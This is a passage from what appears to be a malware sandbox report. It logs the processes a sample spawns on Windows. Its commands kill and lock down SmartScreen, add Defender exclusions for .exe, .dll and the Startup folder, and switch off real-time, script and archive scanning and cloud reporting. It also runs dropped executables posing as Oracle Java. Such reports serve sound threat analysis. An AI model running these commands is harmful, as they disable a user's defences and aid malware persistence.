-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im smartscreen.exe /f4⤵
- Kills process with taskkill
PID:3028
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-184⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3368
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3952
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2692
-
-
C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"4⤵
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -MAPSReporting 0"5⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2508
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -PUAProtection disable"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4504
-
-
C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exeRegister.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4532
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4560
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4604
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4656
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4676
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4780
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4848
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4936
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableScriptScanning $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1420
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5116
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4296
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ScanScheduleDay 8"4⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2200
-
-
-
-
C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1808